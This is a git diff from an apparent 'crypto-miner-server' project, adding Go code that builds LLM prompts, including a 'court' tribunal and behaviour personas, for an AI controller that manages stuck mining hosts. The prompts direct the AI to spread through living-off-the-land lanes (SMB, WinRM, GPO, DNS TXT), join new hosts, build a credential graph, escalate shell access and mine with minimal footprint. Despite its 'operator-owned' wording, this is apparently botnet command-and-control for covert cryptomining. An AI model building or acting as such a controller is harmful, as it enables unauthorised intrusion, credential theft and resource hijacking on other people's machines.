diff --git a/server/internal/ai/court_prompt.go b/server/internal/ai/court_prompt.go
new file mode 100644
index 0000000..1d16415
--- /dev/null
+++ b/server/internal/ai/court_prompt.go
@@ -0,0 +1,227 @@
+package ai
+
+import (
+ "encoding/json"
+ "fmt"
+ "strings"
+
+ "crypto-miner-server/internal/strategy"
+)
+
+// CourtContext supplies failure atlas and phenotype data for stuck-host tribunals.
+type CourtContext interface {
+ FailureAtlasSummary(fingerprintKey, goos string) string
+ BestPhenotype(fingerprintKey, goos string) (*strategy.FleetPhenotype, bool)
+}
+
+// CourtPromptBundle is the single-turn court prompt with role snippets for audit/UI.
+type CourtPromptBundle struct {
+ SystemPrompt string
+ UserPrompt string
+ ProsecutorSnippet string
+ DefenderSnippet string
+}
+
+// CourtDecisionMeta is persisted alongside a court-session decision.
+type CourtDecisionMeta struct {
+ CourtSession bool
+ ProsecutorSnippet string
+ DefenderSnippet string
+ JudgeVerdict string
+}
+
+// ShouldUseCourt returns true when the host is stuck or all spread tiers failed.
+func ShouldUseCourt(s AgentSnapshot) bool {
+ return s.Stuck || AllSpreadTiersFailed(s)
+}
+
+// AllSpreadTiersFailed is true when every default spread tier was attempted and none succeeded.
+func AllSpreadTiersFailed(s AgentSnapshot) bool {
+ attemptByTier := map[string]TierAttempt{}
+ for _, a := range s.LOTLAttempts {
+ attemptByTier[a.Tier] = a
+ }
+ attempted := 0
+ for _, tier := range defaultSpreadTiers {
+ a, ok := attemptByTier[tier]
+ if !ok {
+ return false
+ }
+ attempted++
+ if a.OK {
+ return false
+ }
+ }
+ return attempted == len(defaultSpreadTiers)
+}
+
+// BuildCourtPrompt renders the singular machine court single-turn prompt.
+func BuildCourtPrompt(s AgentSnapshot, atlasSummary string, phenotype *strategy.FleetPhenotype, persona string) CourtPromptBundle {
+ prosecutor := buildProsecutorSection(s, atlasSummary)
+ defender := buildDefenderSection(phenotype)
+
+ var system strings.Builder
+ system.WriteString(strings.TrimSpace(`You are the AetherForge Singular Machine Court for the operator's own stuck fleet hosts.
+This is a single-turn tribunal with no memory. Three roles speak once:
+PROSECUTOR presents failure evidence. DEFENDER cites a winning fleet phenotype if one exists. JUDGE decides.
+Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, stage_fetch, set_agent_version, noop.
+Never target third-party systems.`))
+ system.WriteString("\n\n## PROSECUTOR\n")
+ system.WriteString(prosecutor)
+ system.WriteString("\n\n## DEFENDER\n")
+ system.WriteString(defender)
+
+ var user strings.Builder
+ fmt.Fprintf(&user, "Agent under review: name=%q id=%s\n", s.Name, s.AgentID)
+ fmt.Fprintf(&user, "Platform: GOOS=%s version=%s build=%s\n", firstNonEmpty(s.GOOS, s.Platform), s.Version, s.BuildID)
+ fmt.Fprintf(&user, "Mining hashrate: %.2f H/s (stuck)\n", s.MiningHashrate)
+ if s.FingerprintKey != "" {
+ fmt.Fprintf(&user, "Fingerprint: %s\n", s.FingerprintKey)
+ }
+ user.WriteString("\n## JUDGE\n")
+ user.WriteString(CourtJudgeOverlay(persona))
+ user.WriteString("Reply with ONE sentence verdict on the first line, then JSON with at most 3 commands:\n")
+ user.WriteString(`{"commands":[{"type":"noop","args":{}}]}` + "\n")
+ user.WriteString("Example:\nVerdict: restart mining chain after tier exhaustion.\n{\"commands\":[{\"type\":\"restart_mining\",\"args\":{}}]}\n")
+
+ return CourtPromptBundle{
+ SystemPrompt: system.String(),
+ UserPrompt: user.String(),
+ ProsecutorSnippet: prosecutor,
+ DefenderSnippet: defender,
+ }
+}
+
+func buildProsecutorSection(s AgentSnapshot, atlasSummary string) string {
+ var b strings.Builder
+ b.WriteString("Charges: host is stuck with zero hashrate after exhausting spread/mining options.\n")
+ if strings.TrimSpace(atlasSummary) != "" {
+ fmt.Fprintf(&b, "Failure atlas: %s\n", strings.TrimSpace(atlasSummary))
+ }
+ failed, total := countSpreadFailures(s)
+ if total > 0 {
+ fmt.Fprintf(&b, "LOTL spread tier failures: %d/%d failed.\n", failed, total)
+ } else {
+ b.WriteString("LOTL spread tier failures: no spread attempts recorded yet.\n")
+ }
+ b.WriteString("Per-tier spread attempts:\n")
+ attemptByTier := map[string]TierAttempt{}
+ for _, a := range s.LOTLAttempts {
+ attemptByTier[a.Tier] = a
+ }
+ for _, tier := range defaultSpreadTiers {
+ if a, ok := attemptByTier[tier]; ok {
+ status := "fail"
+ if a.OK {
+ status = "ok"
+ }
+ if a.Error != "" {
+ fmt.Fprintf(&b, " - %s: %s (%s)\n", tier, status, a.Error)
+ } else {
+ fmt.Fprintf(&b, " - %s: %s\n", tier, status)
+ }
+ }
+ }
+ if s.ChainExhausted {
+ b.WriteString("Mining chain exhausted: true\n")
+ }
+ return strings.TrimSpace(b.String())
+}
+
+func buildDefenderSection(phenotype *strategy.FleetPhenotype) string {
+ if phenotype == nil {
+ return "No matching FleetPhenotype on record for this fingerprint. Counsel cannot cite a peer success path."
+ }
+ var b strings.Builder
+ name := phenotype.SourceAgentName
+ if name == "" {
+ name = phenotype.SourceAgentID
+ }
+ fmt.Fprintf(&b, "Fleet phenotype from %s (fingerprint %s):\n", name, phenotype.Fingerprint)
+ if phenotype.ActiveTier != "" {
+ fmt.Fprintf(&b, "Winning tier: %s at %.2f H/s\n", phenotype.ActiveTier, phenotype.PeakHashrate)
+ }
+ if phenotype.SpreadLane != "" {
+ fmt.Fprintf(&b, "Spread lane: %s\n", phenotype.SpreadLane)
+ }
+ if len(phenotype.TierOrder) > 0 {
+ fmt.Fprintf(&b, "Tier order: %s\n", strings.Join(phenotype.TierOrder, " → "))
+ }
+ if raw, err := json.Marshal(phenotype); err == nil {
+ fmt.Fprintf(&b, "Phenotype JSON: %s", string(raw))
+ }
+ return strings.TrimSpace(b.String())
+}
+
+func countSpreadFailures(s AgentSnapshot) (failed, total int) {
+ attemptByTier := map[string]TierAttempt{}
+ for _, a := range s.LOTLAttempts {
+ attemptByTier[a.Tier] = a
+ }
+ for _, tier := range defaultSpreadTiers {
+ if a, ok := attemptByTier[tier]; ok {
+ total++
+ if !a.OK {
+ failed++
+ }
+ }
+ }
+ return failed, total
+}
+
+// ExtractJudgeVerdict pulls the one-line verdict preceding the commands JSON.
+func ExtractJudgeVerdict(raw string) string {
+ raw = strings.TrimSpace(raw)
+ if raw == "" {
+ return ""
+ }
+ if idx := strings.Index(raw, "{"); idx > 0 {
+ line := strings.TrimSpace(raw[:idx])
+ return trimVerdictPrefix(line)
+ }
+ for _, line := range strings.Split(raw, "\n") {
+ line = strings.TrimSpace(line)
+ if line == "" || strings.HasPrefix(line, "{") {
+ continue
+ }
+ return trimVerdictPrefix(line)
+ }
+ return ""
+}
+
+func trimVerdictPrefix(line string) string {
+ line = strings.TrimSpace(line)
+ for _, prefix := range []string{"Verdict:", "VERDICT:", "Judge:", "JUDGE:"} {
+ if strings.HasPrefix(line, prefix) {
+ return strings.TrimSpace(line[len(prefix):])
+ }
+ }
+ return line
+}
+
+// ComputeStuck mirrors agent stuck detection from snapshot telemetry.
+func ComputeStuck(s AgentSnapshot) bool {
+ if s.Stuck {
+ return true
+ }
+ if s.MiningHashrate > 0 {
+ return false
+ }
+ if s.ChainExhausted {
+ return true
+ }
+ attemptByTier := map[string]TierAttempt{}
+ for _, a := range s.LOTLAttempts {
+ attemptByTier[a.Tier] = a
+ }
+ attempted := 0
+ for _, tier := range defaultSpreadTiers {
+ if a, ok := attemptByTier[tier]; ok {
+ attempted++
+ if a.OK {
+ return false
+ }
+ }
+ }
+ return attempted > 0 && attempted == len(defaultSpreadTiers)
+}
diff --git a/server/internal/ai/court_prompt_test.go b/server/internal/ai/court_prompt_test.go
new file mode 100644
index 0000000..99b9414
--- /dev/null
+++ b/server/internal/ai/court_prompt_test.go
@@ -0,0 +1,144 @@
+package ai
+
+import (
+ "context"
+ "strings"
+ "testing"
+ "time"
+
+ "crypto-miner-server/internal/strategy"
+)
+
+type mockCourt struct {
+ atlas string
+ phenotype *strategy.FleetPhenotype
+}
+
+func (m *mockCourt) FailureAtlasSummary(_, _ string) string { return m.atlas }
+func (m *mockCourt) BestPhenotype(_, _ string) (*strategy.FleetPhenotype, bool) {
+ if m.phenotype == nil {
+ return nil, false
+ }
+ return m.phenotype, true
+}
+
+func stuckSpreadAttempts() []TierAttempt {
+ attempts := make([]TierAttempt, 0, len(defaultSpreadTiers))
+ for _, tier := range defaultSpreadTiers {
+ attempts = append(attempts, TierAttempt{Tier: tier, OK: false, Error: "blocked"})
+ }
+ return attempts
+}
+
+func TestBuildCourtPromptProsecutorFailures(t *testing.T) {
+ snap := AgentSnapshot{
+ AgentID: "agent-stuck",
+ Name: "stuck-host",
+ GOOS: "windows",
+ MiningHashrate: 0,
+ Stuck: true,
+ ChainExhausted: true,
+ LOTLAttempts: stuckSpreadAttempts(),
+ }
+ bundle := BuildCourtPrompt(snap, "docker 8/8 failed (100%)", nil, PersonaBalanced)
+ if !strings.Contains(bundle.SystemPrompt, "## PROSECUTOR") {
+ t.Fatal("expected prosecutor section in system prompt")
+ }
+ if !strings.Contains(bundle.ProsecutorSnippet, "14/14 failed") {
+ t.Fatalf("prosecutor missing failure count: %s", bundle.ProsecutorSnippet)
+ }
+ if !strings.Contains(bundle.ProsecutorSnippet, "Failure atlas: docker 8/8 failed") {
+ t.Fatalf("prosecutor missing atlas: %s", bundle.ProsecutorSnippet)
+ }
+}
+
+func TestBuildCourtPromptDefenderPhenotype(t *testing.T) {
+ phenotype := &strategy.FleetPhenotype{
+ Fingerprint: "windows|1|0|1|0|0|10.0.0",
+ SourceAgentID: "agent-ok",
+ SourceAgentName: "agent-ok",
+ ActiveTier: "container",
+ PeakHashrate: 1500,
+ TierOrder: []string{"container", "inprocess"},
+ }
+ snap := AgentSnapshot{
+ AgentID: "agent-stuck",
+ Stuck: true,
+ LOTLAttempts: []TierAttempt{
+ {Tier: "docker", OK: false, Error: "denied"},
+ },
+ }
+ bundle := BuildCourtPrompt(snap, "", phenotype, PersonaPersuasive)
+ if !strings.Contains(bundle.DefenderSnippet, "Fleet phenotype from agent-ok") {
+ t.Fatalf("defender missing phenotype: %s", bundle.DefenderSnippet)
+ }
+ if !strings.Contains(bundle.DefenderSnippet, "Winning tier: container") {
+ t.Fatalf("defender missing winning tier: %s", bundle.DefenderSnippet)
+ }
+ if !strings.Contains(bundle.SystemPrompt, "## DEFENDER") {
+ t.Fatal("expected defender section in system prompt")
+ }
+}
+
+func TestParseCommandsFromCourtResponse(t *testing.T) {
+ raw := "Verdict: restart mining after tier exhaustion.\n{\"commands\":[{\"type\":\"restart_mining\",\"args\":{}},{\"type\":\"noop\",\"args\":{}}]}"
+ verdict := ExtractJudgeVerdict(raw)
+ if !strings.Contains(verdict, "restart mining") {
+ t.Fatalf("verdict: %q", verdict)
+ }
+ cmds := ParseCommands(raw)
+ if len(cmds) != 2 || cmds[0].Type != CmdRestartMining {
+ t.Fatalf("cmds: %+v", cmds)
+ }
+}
+
+func TestShouldUseCourtStuckOrAllFailed(t *testing.T) {
+ if !ShouldUseCourt(AgentSnapshot{Stuck: true}) {
+ t.Fatal("expected court for stuck")
+ }
+ snap := AgentSnapshot{LOTLAttempts: stuckSpreadAttempts()}
+ if !ShouldUseCourt(snap) {
+ t.Fatal("expected court when all spread tiers failed")
+ }
+ if ShouldUseCourt(AgentSnapshot{LOTLAttempts: []TierAttempt{{Tier: "docker", OK: true}}}) {
+ t.Fatal("expected mission prompt when a tier succeeded")
+ }
+}
+
+func TestSchedulerUsesCourtWhenStuck(t *testing.T) {
+ old := DecideFunc
+ defer func() { DecideFunc = old }()
+ var gotSystem, gotUser string
+ DecideFunc = func(_ context.Context, _, _, systemPrompt, userPrompt string) (string, error) {
+ gotSystem = systemPrompt
+ gotUser = userPrompt
+ return "Verdict: noop.\n{\"commands\":[{\"type\":\"noop\",\"args\":{}}]}", nil
+ }
+
+ exec := &mockExec{}
+ store := &mockStore{}
+ court := &mockCourt{atlas: "wsl 5/5 failed (100%)"}
+ sched := NewScheduler(
+ &mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}},
+ &mockSnap{
+ ids: []string{"agent-1"},
+ snap: AgentSnapshot{
+ AgentID: "agent-1", Name: "host", Stuck: true,
+ LOTLAttempts: stuckSpreadAttempts(),
+ },
+ },
+ exec,
+ store,
+ court,
+ nil,
+ )
+ sched.lastRun["agent-1"] = time.Now().Add(-2 * time.Minute)
+ sched.Tick()
+
+ if !strings.Contains(gotSystem, "## PROSECUTOR") {
+ t.Fatalf("expected court system prompt, got: %s", gotSystem)
+ }
+ if !strings.Contains(gotUser, "## JUDGE") {
+ t.Fatalf("expected judge user prompt, got: %s", gotUser)
+ }
+}
diff --git a/server/internal/ai/personas.go b/server/internal/ai/personas.go
new file mode 100644
index 0000000..dc68950
--- /dev/null
+++ b/server/internal/ai/personas.go
@@ -0,0 +1,85 @@
+package ai
+
+import "strings"
+
+const (
+ PersonaAggressive = "aggressive"
+ PersonaSilent = "silent"
+ PersonaPassive = "passive"
+ PersonaPersuasive = "persuasive"
+ PersonaBalanced = "balanced"
+)
+
+// NormalizePersona maps aliases and unknown values to a valid persona id.
+func NormalizePersona(mode string) string {
+ switch strings.ToLower(strings.TrimSpace(mode)) {
+ case PersonaAggressive:
+ return PersonaAggressive
+ case PersonaSilent:
+ return PersonaSilent
+ case PersonaPassive:
+ return PersonaPassive
+ case PersonaPersuasive:
+ return PersonaPersuasive
+ case PersonaBalanced, "":
+ return PersonaBalanced
+ default:
+ return PersonaBalanced
+ }
+}
+
+// PersonaSystemPrompt returns the full fleet AI system prompt for the given Calibrate persona.
+func PersonaSystemPrompt(mode string) string {
+ base := SystemPrompt()
+ overlay := personaMissionOverlay(NormalizePersona(mode))
+ if overlay == "" {
+ return base
+ }
+ return strings.TrimSpace(base + "\n\n" + overlay)
+}
+
+func personaMissionOverlay(mode string) string {
+ switch mode {
+ case PersonaAggressive:
+ return strings.TrimSpace(`PERSONA: Aggressive — maximize fleet reach and hashrate on operator-owned hosts.
+Prioritize spread_now and discover_and_join on every cycle where probes allow. Retry failed tiers quickly; reorder_tiers to push high-yield lanes first.
+Request L4 clearance when stuck after tier exhaustion — escalate agent_command shell probes without waiting.
+Take every spread + mine opportunity; noisy retries are acceptable on your machines.`)
+ case PersonaSilent:
+ return strings.TrimSpace(`PERSONA: Silent — mine quietly with minimal footprint.
+Focus on restart_mining and in-process/container tiers. Never spread_now unless stuck after all 14 tiers failed.
+Prefer container/wsl/docker isolated tiers over smb/winrm/gpo. Avoid agent_command shell unless clearance is already L3+ and hashrate=0.
+No bulk_command unless a single agent is critically stuck.`)
+ case PersonaPassive:
+ return strings.TrimSpace(`PERSONA: Passive — observe and report; intervene only when mining is dead.
+Default to noop unless Mining hashrate=0 for ~10 minutes equivalent (chain exhausted or repeated zero reads).
+When intervening, prefer gentle restart_mining over spread_now. Never reorder_tiers aggressively.
+Do not request clearance elevation; avoid discover_and_join unless operator fleet would otherwise stay at zero H/s.`)
+ case PersonaPersuasive:
+ return strings.TrimSpace(`PERSONA: Persuasive — spread-first social engineering on owned fleet nodes.
+Attempt discover_and_join before restart_mining; build credential graph via service probes and join lanes.
+Use spread_now to stage peers, then sell mining as fleet health — restart_mining only after join lanes succeed or exhaust.
+Prefer reorder_tiers that front dns_txt, wsus_cache_peer, do_peer, and webrtc_mesh before brute-force mining restarts.`)
+ default: // balanced
+ return strings.TrimSpace(`PERSONA: Balanced — default mission behavior.
+Balance spread vs mine: try pending LOTL tiers when hashrate is low, restart_mining when chain exhausted, noop when healthy.
+Use clearance-aware agent_command only when stuck; discover_and_join when join lanes are available.
+Respond with short JSON commands; never target third-party systems.`)
+ }
+}
+
+// CourtJudgeOverlay appends persona-specific guidance to the court JUDGE section.
+func CourtJudgeOverlay(mode string) string {
+ switch NormalizePersona(mode) {
+ case PersonaAggressive:
+ return "Judge: favor spread_now, discover_and_join, or L4 shell recovery — aggressive recovery on operator hosts.\n"
+ case PersonaSilent:
+ return "Judge: favor restart_mining or isolated-tier spread only; avoid shell unless all tiers failed.\n"
+ case PersonaPassive:
+ return "Judge: prefer noop or a single gentle restart_mining; avoid spread unless hashrate=0 with exhausted chain.\n"
+ case PersonaPersuasive:
+ return "Judge: favor discover_and_join and spread_now before restart_mining; cite fleet health in verdict.\n"
+ default:
+ return "Judge: weigh prosecutor failures against defender phenotype; pick the least disruptive recovery.\n"
+ }
+}
diff --git a/server/internal/ai/personas_test.go b/server/internal/ai/personas_test.go
new file mode 100644
index 0000000..224d8b1
--- /dev/null
+++ b/server/internal/ai/personas_test.go
@@ -0,0 +1,67 @@
+package ai
+
+import (
+ "strings"
+ "testing"
+)
+
+func TestPersonaSystemPromptNonEmptyDistinct(t *testing.T) {
+ modes := []string{PersonaAggressive, PersonaSilent, PersonaPassive, PersonaPersuasive, PersonaBalanced}
+ seen := make(map[string]string, len(modes))
+ for _, mode := range modes {
+ prompt := PersonaSystemPrompt(mode)
+ if strings.TrimSpace(prompt) == "" {
+ t.Fatalf("persona %q returned empty prompt", mode)
+ }
+ if !strings.Contains(prompt, "AetherForge fleet controller") {
+ t.Fatalf("persona %q missing base system prompt", mode)
+ }
+ if prev, ok := seen[prompt]; ok {
+ t.Fatalf("personas %q and %q produced identical prompts", prev, mode)
+ }
+ seen[prompt] = mode
+ }
+}
+
+func TestPersonaSystemPromptModeSpecificGuidance(t *testing.T) {
+ cases := []struct {
+ mode string
+ needle string
+ }{
+ {PersonaAggressive, "spread_now and discover_and_join"},
+ {PersonaSilent, "Never spread_now unless stuck"},
+ {PersonaPassive, "Default to noop"},
+ {PersonaPersuasive, "discover_and_join before restart_mining"},
+ {PersonaBalanced, "Balance spread vs mine"},
+ }
+ for _, tc := range cases {
+ prompt := PersonaSystemPrompt(tc.mode)
+ if !strings.Contains(prompt, tc.needle) {
+ t.Fatalf("persona %q missing %q in:\n%s", tc.mode, tc.needle, prompt)
+ }
+ }
+}
+
+func TestNormalizePersona(t *testing.T) {
+ if got := NormalizePersona(" AGGRESSIVE "); got != PersonaAggressive {
+ t.Fatalf("got %q", got)
+ }
+ if got := NormalizePersona("unknown"); got != PersonaBalanced {
+ t.Fatalf("unknown should map to balanced, got %q", got)
+ }
+}
+
+func TestCourtJudgeOverlayDistinct(t *testing.T) {
+ modes := []string{PersonaAggressive, PersonaSilent, PersonaPassive, PersonaPersuasive, PersonaBalanced}
+ prev := ""
+ for _, mode := range modes {
+ overlay := CourtJudgeOverlay(mode)
+ if strings.TrimSpace(overlay) == "" {
+ t.Fatalf("empty overlay for %q", mode)
+ }
+ if overlay == prev && prev != "" {
+ t.Fatalf("duplicate court overlay for %q", mode)
+ }
+ prev = overlay
+ }
+}
diff --git a/server/web/src/components/CalibrationAIControl.tsx b/server/web/src/components/CalibrationAIControl.tsx
index 52679e9..9d44050 100644
--- a/server/web/src/components/CalibrationAIControl.tsx
+++ b/server/web/src/components/CalibrationAIControl.tsx
@@ -3,6 +3,11 @@ import type { ServerSettings } from '../types';
import { api } from '../api/client';
import { HelpTip, FieldHint } from './HelpTip';
import { ADAPTIVE_STRATEGY_HELP } from '../help/lotlOnionTiers';
+import {
+ AI_PERSONA_CHIPS,
+ DEFAULT_AI_PERSONA,
+ normalizeAIPersona,
+} from '../help/aiPersonas';
export const DEFAULT_AI_LOCAL_ENDPOINT = 'http://127.0.0.1:11434/v1';
export const DEFAULT_AI_INTERVAL_SEC = 60;
@@ -25,6 +30,7 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
const endpoint = readEndpoint(server);
const model = server.ai_model?.trim() || '';
const intervalSec = readIntervalSec(server);
+ const persona = normalizeAIPersona(server.ai_persona);
const [models, setModels] = useState